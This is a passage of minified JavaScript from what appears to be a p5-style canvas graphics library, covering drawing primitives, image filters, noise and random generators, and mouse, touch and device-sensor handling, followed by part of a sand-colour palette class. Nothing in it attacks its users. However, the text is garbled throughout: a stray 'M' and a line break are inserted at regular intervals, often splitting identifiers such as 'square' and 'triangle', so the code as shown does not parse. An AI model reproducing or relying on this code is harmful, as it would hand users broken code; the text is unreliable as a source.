i,i,i);const c=Math.min(Math.abs(r),Math.abs(a))/2;i=Math.min(c,i),l=Math.min(c,l),s=Math.min(c,s),u=Math.min(c,u),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+a,t,e+a,t+r,l),o.arcTo(e+a,t+r,e,t+r,u),o.arcTo(e,t+r,e,t,s),o.arcTo(e,t,e+a,t,i),o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke()}n.rect=function(e,t,o,a,r,i,l,u){n._rectMode==n.CENTER?_(e-o/2,t-a/2,o,a,r,i,l,u):n._rectMode==n.RADIUS?_(e-o,t-a,2*o,2*a,r,i,l,u):n._rectMode==n.CORNER?_(e,t,o,a,r,i,l,u):n._rectMode==n.CORNERS&&_(e,t,o-e,a-t,r,i,l,u)};n.squM
are=function(e,t,o,a,r,i,l){return n.rect(e,t,o,o,a,r,i,l)};function x(){i=[]}n.beginShape=function(){x(),o.beginPath(),r=!0};n.beginContour=function(){o.closePath(),x(),r=!0};n.endContour=function(){x(),r=!0};n.vertex=function(e,t){x(),r?o.moveTo(e,t):o.lineTo(e,t),r=!1};n.bezierVertex=function(e,t,n,a,r,i){x(),o.bezierCurveTo(e,t,n,a,r,i)};n.quadraticVertex=function(e,t,n,a){x(),o.quadraticCurveTo(e,t,n,a)};n.bezier=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,a,r,i,l,u),n.endShape()};nM
.triangle=function(e,t,o,a,r,i){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.endShape(n.CLOSE)};n.quad=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.vertex(l,u),n.endShape(n.CLOSE)};n.endShape=function(e){x(),e&&o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke(),n._noFill&&n._noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())};n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let a=i[i.length-4],l=i[i.length-3],u=i[i.length-2],s=i[i.M
length-1],c=function(e,t,n,o,a,r,i,l,u,s){function c(e,t,n,o,a,r){let i=Math.pow(o-t,2)+Math.pow(a-n,2),l=Math.pow(i,.5*r);return l+e}let h=[],f=c(0,e,t,n,o,s),d=c(f,n,o,a,r,s),p=c(d,a,r,i,l,s);for(let s=0;s<u;s++){let c=f+s/(u-1)*(d-f),m=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<m.length;e+=2)isNaN(m[e])&&(m[e]=1,m[e+1]=0),isFinite(m[e])||(m[e]>0?(m[e]=1,m[e+1]=0):(m[e]=0,m[e+1]=1));let g=e*m[0]+n*m[1],v=t*m[0]+o*m[1],M=nM
*m[2]+a*m[3],_=o*m[2]+r*m[3],x=a*m[4]+i*m[5],y=r*m[4]+l*m[5],w=g*m[6]+M*m[7],R=v*m[6]+_*m[7],I=M*m[8]+x*m[9],E=_*m[8]+y*m[9],S=w*m[2]+I*m[3],C=R*m[2]+E*m[3];h.push([S,C])}return h}(...a,...l,...u,...s,n._curveDetail,n._curveAlpha);for(let e=0;e<c.length;e++)r?o.moveTo(...c[e]):o.lineTo(...c[e]),r=!1};n.curve=function(e,t,o,a,r,i,l,u){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,a),n.curveVertex(r,i),n.curveVertex(l,u),n.endShape()};n.translate=function(e,t){o.translate(e,t)};n.rotate=function(e){o.rotate(e)};nM
.scale=function(e,t){null==t&&(t=e),o.scale(e,t)};n.applyMatrix=function(e,t,n,a,r,i){o.transform(e,t,n,a,r,i)};n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)};n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)};n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)};n.pushMatrix=n.push=function(){o.save()};n.popMatrix=n.pop=function(){o.restore()};n.image=function(e,t,a,r,i,l,u,s,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let tM
=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(!function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d"));null==e&&(e=o.canvas.width,t=o.canvas.height);f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),r?l?(s||(s=h.width),c||(c=h.height),o.drawImage(h,l,u,s,c,t,M
a,r,i),void d()):(o.drawImage(h,t,a,r,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,a,e.width,e.height):o.drawImage(h,t,a,e.videoWidth,e.videoHeight),void d())};n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data};n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)};n.loadImage=function(e,t){u++;let o=n.createGraphics(100,100),a=o.canvas.getContext("2d"),r=new Image;return r.src=e,r.crossOrigin="Anonymous",r.onload=function(){a.canvas.width=r.width,a.canvas.heM
ight=r.height,o.width=r.width,o.height=r.height,a.drawImage(r,0,0),u--,t&&t(o)},o};let y={};y[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}};y[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}};y[n.OPAQUE]=function(e){for(let t=0;t<e.length;t+=4)e[t+3]=255};y[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[tM
+2]=255-e[t+2]};y[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n};y[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.max(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.ERODE]=function(e){R(),d.set(M
e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.min(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let a=2*t+1;let r=function(e){let n=new Float32Array(e),o=.3*t+.8,a=o*o*2;for(let t=0;t<e;t++){let r=t-e/2,i=Math.exp(-r*r/a)/(2.5066282746*o);n[t]=i}reM
turn n}(a),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,u=0,s=0,c=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(o-t+e,0),i-1),h=4*(n*i+a);l+=d[h]*r[e],u+=d[h+1]*r[e],s+=d[h+2]*r[e],c+=d[h+3]*r[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=u,e[h+2]=s,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let u=0,s=0,c=0,h=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(n-t+e,0),l-1),f=4*(a*i+o);u+=d[f]*r[e],s+=d[f+1]*r[e],c+=d[f+2]*r[e],h+=d[f+3]*r[e]}let f=4*(n*i+o);e[f]=u,e[f+1]=sM
,e[f+2]=c,e[f+3]=h}};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClampedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvasM
,0,0),o.restore()}n.filter=function(e,t){let a=n.HARDWARE_FILTERS&&null!=o.filter;if(a)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5);let e=Math.floor(.5/t*100);I(`saturate(0%) brightness(${e}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawImage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(t*M
n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}};n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()};n.getM
=function(e,t,a,r){if(null!=e&&null==a){let a=o.getImageData(e,t,1,1).data;return new n.Color(a[0],a[1],a[2],a[3]/255)}e=e||0,t=t||0,a=a||n.width,r=r||n.height;let i=n.createGraphics(a,r);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,a*n._pixelDensity,r*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i};n.set=function(e,t,a){if(a.MAGIC==n.MAGIC){let o=n._tint;return n._tint=null,n.image(a,e,t),void(n._tint=o)}let r=4*(t*n._pixelDensity*o.canvas.width+M
e*n._pixelDensity);n.pixels[r]=a._r,n.pixels[r+1]=a._g,n.pixels[r+2]=a._b,n.pixels[r+3]=255*a._a};n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransform();let a=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.glM
obalCompositeOperation=a,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()};n.tint=function(){n._tint=n.color(...Array.from(arguments))};n.noTint=function(){n._tint=null};n.mask=function(e){o.save(),o.resetTransform();let t=o.globalCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalCompositeM
Operation=t,o.restore()};n.clearTemporaryBuffers=function(){h=null,f=null,d=null};n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t},!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)};n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);let aM
=e.split(".");return n.save(a.slice(0,-1).join("."),a[a.length-1])};n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),a=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const r=document.createElement("style");return r.textContent=a,document.head.append(r),o};n.textFont=function(e){n._textFont=e};n.textSize=function(e){n._textSize=e,n._textLeading=e};n.textLeading=function(e){n._textLeading=e};n.textStyle=function(e){n._textStyle=e};n.textAlign=M
function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)};n.text=function(e,t,a,r){if(!e)return;if(e=e.toString(),n._noFill&&n._noStroke)return;o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._noFill||o.fillText(i[e],t,a,r),n._noStroke||o.strokeText(i[e],t,a,r),a+=n._textLeading};n.textWidth=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).width};n.textAscent=function(e){return o.font=`${n._textStyle}M
 ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxAscent};n.textDescent=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxDescent};var E=4;var S=.5;var C=function(e){return.5*(1-Math.cos(e*Math.PI))};var A;n.noise=function(e,t,n){if(t=t||0,n=n||0,null==A){A=new Array(4096);for(var o=0;o<4096;o++)A[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var a,r,i,l,u,s=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-s,d=t-c,p=n-h,m=0,g=M
.5,v=0;v<E;v++){var M=s+(c<<4)+(h<<8);a=C(f),r=C(d),i=A[4095&M],i+=a*(A[M+1&4095]-i),l=A[M+16&4095],l+=a*(A[M+16+1&4095]-l),i+=r*(l-i),l=A[4095&(M+=256)],l+=a*(A[M+1&4095]-l),u=A[M+16&4095],u+=a*(A[M+16+1&4095]-u),l+=r*(u-l),i+=C(p)*(l-i),m+=i*g,g*=S,s<<=1,c<<=1,h<<=1,(f*=2)>=1&&(s++,f--),(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return m};n.noiseDetail=function(e,t){e>0&&(E=e),t>0&&(S=t)};const T=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<17M
,e^=e>>13,((e^=e<<5)>>>0)/n)}};let D=T();D.setSeed();n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;A||(A=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,A[n]=(t>>>0)/4294967295};n.randomSeed=function(e){D.setSeed(e)};n.random=function(e,t){return"number"==typeof e?null!=t?D.rand()*(t-e)+e:D.rand()*e:e[~~(e.length*D.rand())]};n.randomGenerator=function(e){e==n.LCG?D=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>t,rM
and:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(D=T()),D.setSeed()};var P=new function(){var e,t,n,o=new Array(128),a=new Array(256),r=new Array(128),i=new Array(128),l=new Array(256),u=new Array(256),s=function(){return 4294967296*D.rand()-2147483648},c=function(){return.5+2.328306e-10*(s()<<0)},h=function(){for(var t,a,l,u,h=3.44262;;){if(t=n*r[e],0==e){do{l=c(),u=c(),t=.2904764*-Math.log(l),a=-Math.log(u)}while(a+a<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=s(),e=12M
7&n,Math.abs(n)<o[e])return n*r[e]}},f=function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],u[e]+c()*(u[e-1]-u[e])<Math.exp(-n))return n;if((t=s())<a[e=255&t])return t*l[e]}};this.SHR3=s,this.UNI=c,this.RNOR=function(){return n=s(),e=127&n,Math.abs(n)<o[e]?n*r[e]:h()},this.REXP=function(){return(t=s()>>>0)<o[e=255&t]?t*l[e]:f()},this.zigset=function(){var e,t,n=2147483648,s=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,m=.003949659822581572;for(e=f/Math.exp(-.5*c*cM
),o[0]=Math.floor(c/e*n),o[1]=0,r[0]=e/n,r[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),r[t]=c/n;for(e=m/Math.exp(-d),a[0]=Math.floor(d/e*s),a[1]=0,l[0]=e/s,l[255]=d/s,u[0]=1,u[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(m/d+Math.exp(-d)),a[t+1]=Math.floor(d/p*s),p=d,u[t]=Math.exp(-d),l[t]=d/s}};P.hasInit=!1;n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e};n.randomEM
xponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()};n.print=console.log;n.cursor=function(e,t,o){let a="";e.includes(".")&&(e=`url("${e}")`,a=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+a};n.noCursor=function(){n.canvas.style.cursor="none"};n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then(function(e){t.srcObject=e}),t.style.position="absolute",t.style.opacity=M
1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let b=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of b){let t="_"+e+"Fn";n[t]=function(){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(a=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),x(),r=!0,o.save(),n._drawFn(),o.restore(),n.frM
ameCount++}n.noLoop=function(){n._noLoop=!0,a=null};n.loop=function(){n._noLoop=!1,null==a&&z()};n.redraw=function(){z()};n.frameRate=function(e){n._frameRate=e};setTimeout(function(){n._preloadFn(),c=window.performance.now(),function e(){if(u>0)return setTimeout(e,10);n._setupFn();z()}()},1);n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)};n.canvas.onmousedown=function(e){n.pmouseX=n.mouseX,n.pmousM
eY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)};n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)};n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1};window.addEventListener("keydown",function(e){n.keyIsPressed=M
!0,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)});window.addEventListener("keyup",function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!1,n._keyReleasedFn(e)});n.keyIsDown=function(e){return!!s[e]};function O(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,a=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/a,id:e.identifier}}function k(){return n._touchStarted.isPlaceHolder&M
&n._touchMoved.isPlaceHolder&&n._touchEnded.isPlaceHolder}n.canvas.ontouchstart=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||e.preventDefault()),n._touchStartedFn(e)||e.preventDefault()};n.canvas.ontouchmove=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButtoM
n=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()};n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()};n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestPeM
rmission);n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then(e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then(e=>{"granted"==e&&(n.hasSensorPermission=!0)}).catch(alert)}).catch(alert)};window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZ,nM
.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.relRotationZ=n.rotationZ};window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*t[M
1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13],e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[15M
],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(e)M
,0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}};n.year=function(){return(new Date).getFullYear()};n.day=function(){return(new Date).getDay()};n.hour=function(){return(new Date).getHours()};n.minute=function(){return(new Date).getMinutes()};n.second=function(){return(new Date).getSeconds()};n.millis=function(){return window.performance.now()-c}}(e)}
or{static p;static SAND_COLOR_MODE=3;static getSandColorByIndex(e,t=0,i=30,s=50){e%=5;let a=[];var r,h,n;for(let e=0;e<5;e++){let t=e%5;1==Color.SAND_COLOR_MODE?a.push(o(t)):2==Color.SAND_COLOR_MODE?a.push(l(t)):3==Color.SAND_COLOR_MODE?a.push(d(t)):4==Color.SAND_COLOR_MODE?a.push(m(t)):5==Color.SAND_COLOR_MODE?a.push(p(t)):6==Color.SAND_COLOR_MODE?a.push(g(t)):7==Color.SAND_COLOR_MODE?a.push(c(t)):8==Color.SAND_COLOR_MODE?a.push(u(t)):9==Color.SAND_COLOR_MODE&&a.push(v(t))}return a[e];function o(e){return 0==e?(r=M
t+60,h=i+5,n=s+5):1==e?(r=t+30,h=i+5,n=s+9):2==e?(r=t,h=i,n=s):3==e?(r=t-30,h=i+5,n=s+9):4==e&&(r=t-60,h=i+5,n=s+5),r<0?r+=360:r>360&&(r-=360),chroma(r,h/100,n/100,"hsl")}function l(e){return r=t,0==e?(h=i,n=s+30):1==e?(h=i-30,n=s+8):2==e?(h=i,n=s):3==e?(h=i-30,n=s+30):4==e&&(h=i,n=s-20),h<10&&(h+=60),(0==e||3==e)&&n>100&&(n=s-50),chroma(r,h/100,n/100,"hsl")}function d(e){return 0==e?(r=t-120,h=i+10,n=s-30):1==e?(r=t+120,h=i-10,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t-120,h=i+10,n=s):4==e&&(r=t+120,h=i+10,n=s-30),r>360?r-M
=360:r<0&&(r+=360),h>100&&(h-=20),n>100&&(n-=30),chroma(r,h/100,n/100,"hsl")}function m(e){return 0==e?(r=t,h=i+10,n=s-30):1==e?(r=t,h=i-30,n=s+30):2==e?(r=t,h=i,n=s):3==e?(r=t-180,h=i+20,n=s-30):4==e&&(r=t-180,h=i,n=s),r<0&&(r+=360),chroma(r,h/100,n/100,"hsl")}function p(e){return 0==e?(r=t-150,h=i-10,n=s+30):1==e?(r=t-150,h=i-5,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t+150,h=i+10,n=s+30):4==e&&(r=t+150,h=i+5,n=s),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n>100&&(n-=60),chroma(r,h/100,n/100,"hsl")}function g(e){return 0==M
e?(r=t+60,h=i-5):1==e?(r=t+150,h=i-10):2==e?(r=t,h=i):3==e?(r=t-150,h=i+10):4==e&&(r=t-60,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function c(e){return 0==e?(r=t,h=i+20):1==e?(r=t+90,h=i-10):2==e?(r=t,h=i):3==e?(r=t+180,h=i+10):4==e&&(r=t-90,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function u(e){return 0==e?(r=t+30,h=i+10,n=s+20):1==e?(r=t+30,h=i+40,n=s+40):2==e?(r=t,h=i,n=s):3==e?(r=t+160,h=i+25,n=s+5):4==e&&(r=t+150,h=i+10,n=s+20),r>3M
60&&(r-=360),(0==e||4==e)&&h>100?h-=20:1==e&&h>90?h-=80:3==e&&h>60&&(h-=50),1==e&&n>100?n-=80:(0==e||4==e)&&n>100&&(n-=40),chroma(r,h/100,n/100,"hsl")}function v(e){return r=t,h=i,0==e?n=s-25:1==e?n=s+30:2==e?n=s:3==e?n=s+5:4==e&&(n=s-10),n>100&&(n-=80),chroma(r,h/100,n/100,"hsl")}}static chromaToArray=e=>[e._rgb[0],e._rgb[1],e._rgb[2],255*e._rgb[3]];static setColorMode=e=>{this.SAND_COLOR_MODE=e}}class Geometry{static slicePolyByY(e,t){let i=[];for(let s=0;s<e.length;s++){let a=e[s],r=s?e[s-1]:e.at(-1),h=a.y>=t;h!M
